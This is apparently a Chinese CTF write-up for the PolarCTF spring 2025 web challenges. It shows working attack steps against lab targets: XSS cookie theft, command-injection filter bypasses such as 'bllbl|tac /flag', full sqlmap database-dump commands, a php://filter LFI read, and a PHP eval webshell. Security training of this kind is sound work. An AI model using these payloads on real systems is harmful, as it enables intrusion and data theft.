PolarCTF网络安全2025春季个人挑战赛 web方向个人wp

xCsMsD

首先注册,注册后登录,显示一个xss窗口和一个cmd窗口,可以输入xss代码和命令执行指令

首先命令执行ls发现能够正确显示当前目录文件

然后尝试ls /发现没有回显,这时应该猜测是有过滤,我们要想能够利用xss做些什么,这里可以弹一个cookie出来

url解码后发现把空格替换成了-,把/替换成了\。

然后正常执行命令即可,后面有一个地方是cat被过滤要用tac绕过

小白说收集很重要

打开环境是一个登录页面

既然是信息收集那么就直接dirsearch扫一下

发现好几个文件,尝试直接访问flag.php,不出意外肯定是打不开的,我们尝试访问/login.php,发现被forbidden了打不开,再看/upload_file.php,没啥用,再看最后一个/users.json,发现是一堆用户名密码,随便用一个登录

这里说要根据搜集到的线索在下方生成字典,左边又有一个社工密码生成,这里就用社工密码生成来生成管理员密码字典

生成了一堆密码,我们复制单项信息密码尝试爆破

抓包爆破

成功找到管理员的用户名和密码,我们直接登录

拿到flag

来个弹窗

打开环境,让我们输入xss命令,我们随便输入一个

 alert(1)

发现回显xss攻击成功,随后跳转到一个图片页面,上面提示flag内容是人物名字的md5编码

我们直接求助万能的二次元同学

拿到flag

0e事件

提示传参,根据题目名字应该是传入一个md5值为0e开头的字符串,我们直接传入240610708拿到flag

background

打开环境,页面正中央有一个background按钮,点击后页面没有反应,首先猜测是被js禁了,关闭js后发现点击依旧没有反应,于是f12观察点击按钮后有没有什么变化

发现经过了一个script.js,我们尝试访问

有乱码,直接抓包查看

 document.getElementById("change-bg-btn").onclick = function() {
     fetch("change_background.php", {
         method: "POST",
         headers: {
             'Content-Type': 'application/x-www-form-urlencoded',
         },
         body: new URLSearchParams({
             d: "echo",
             p: "I will do it!"
         })
     })
     .then(response => response.text())
     .then(text => {
         const lines = text.split('\n');
         const background = lines[0];     // 第一行是背景图路径
         const message = lines.slice(1).join('\n');  // 其余是输出信息
 ​
         document.body.style.backgroundImage = `url(${background})`;
         document.getElementById("result").innerText = message;

fetch是一个用于发送网络请求的功能,它返回一个Promise,表示请求的结果,method是请求方式,body是要发送到服务器的数据,

new URLSearchParams创建一个新的 URLSearchParams 对象,允许你以表单的格式编码数据。大括号内的就是表单内容,d是echo,p是I will do it!,看起来就像是一个命令执行,我们尝试修改d和p的值来进行命令执行,post方式在change_background.php路由下传入b和p的值

成功执行,cat拿到flag

bllbl_rce

打开环境,是一个输入框,提示是执行命令的地方,尝试ls /发现回显no,猜测是被过滤了,我们dirsearch扫一下

访问这个路由

源码泄露

 <!DOCTYPE html>
 <html lang="en">
 <head>
     <meta charset="UTF-8">
     <meta name="viewport" content="width=device-width, initial-scale=1.0">
     <title>Command Query Tool</title>
 </head>
 <body>
 <h1>Command Query Tool</h1>
 <form action="index.php" method="post">
     <label for="command">输入你的命令</label>
     <input type="text" id="command" name="command" required>
     <button type="submit">执行</button>
 </form>
 ​
 <?php
 if (isset($_POST['command'])) {
     $command = $_POST['command'];
     if (strpos($command, 'bllbl') === false) {
         die("no");
     }
     echo "<pre>";
     system ($command);
     echo "</pre>";
 }
 ?>
 </body>
 </html>

代码审计发现提交的命令中必须含有bllbl才能执行,我们利用管道拼接符|来绕过

 bllbl|tac /flag

拿到flag

coke的登录

打开环境,页面如下

我们点击提示

看起来像是cookie里面有东西,我们f12查看

看到my_cookie的值是coke-lishuai,猜测用户名和密码跟这个有关

首先尝试用户名coke密码lishuai,发现登陆失败,又试了好几个没成功,于是我就产生怀疑是不是还跟别的有关系,卡了半天也没做出来,但是当时打的时候这个题做出来的人最多,我解不出来太郁闷了

结束之后查看wp才知道用户名是coke密码是coke-lishuai,无话可说了

输入用户名密码登陆成功直接拿到flag

再给我30元

打开环境,页面提示猜猜你能注入到哪里,查看源代码发现注释

根据提示应该注入点是id,我们尝试传入id=1

回显出了id和username,猜测是sql注入,sqlmap扫一下

布尔盲注,直接sqlmap出了

爆库

 sqlmap -u "http://38c1d648-ddfa-40e5-a787-5e66feb95bab.www.polarctf.com:8090/?id=1" -current-db

爆表

 sqlmap -u "http://38c1d648-ddfa-40e5-a787-5e66feb95bab.www.polarctf.com:8090/?id=1" -D 'WelcomeSQL' --tables

爆字段

 sqlmap -u "http://38c1d648-ddfa-40e5-a787-5e66feb95bab.www.polarctf.com:8090/?id=1" -D 'WelcomeSQL' -T 'user_info' --columns

爆字段内容

 sqlmap -u "http://38c1d648-ddfa-40e5-a787-5e66feb95bab.www.polarctf.com:8090/?id=1" -D 'WelcomeSQL' -T 'user_info' --dump

狗黑子的ctf变强之路

打开环境,页面是ctf变强之路,有三个按钮,随便点一个发现url后面拼上了/index.php?page=miji.php,修改page的值为flag.php无回显,修改为1回显只允许包含php文件,猜测是文件包含漏洞并且只能包含php文件,我们dirsearch扫一下

扫出来一个admin.php,我们尝试直接访问,页面空白,我们利用php伪协议读取

?page=php://filter/read=convert.base64-encode/resource=admin.php,解base64后得到一段源码

我们看到有一个houhhhh.php,再次伪协议读取,解base64得到另一段源码

看到有gougougou.php,再次伪协议读取

这里如果扔给ai的话,他会给出解base64拼接后解混淆base64直接出gou7的结果,因为正常解base64的话gou7是乱码,这里的问题应该是gou1中的\v可能被认为是一个字符,因为\是转义符,所以把\换成其他可识别字符再解,得到gou7的真实值

 <?php eval($_POST['cmd']);

然后我们包含gougougou.php就可以任意命令执行了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值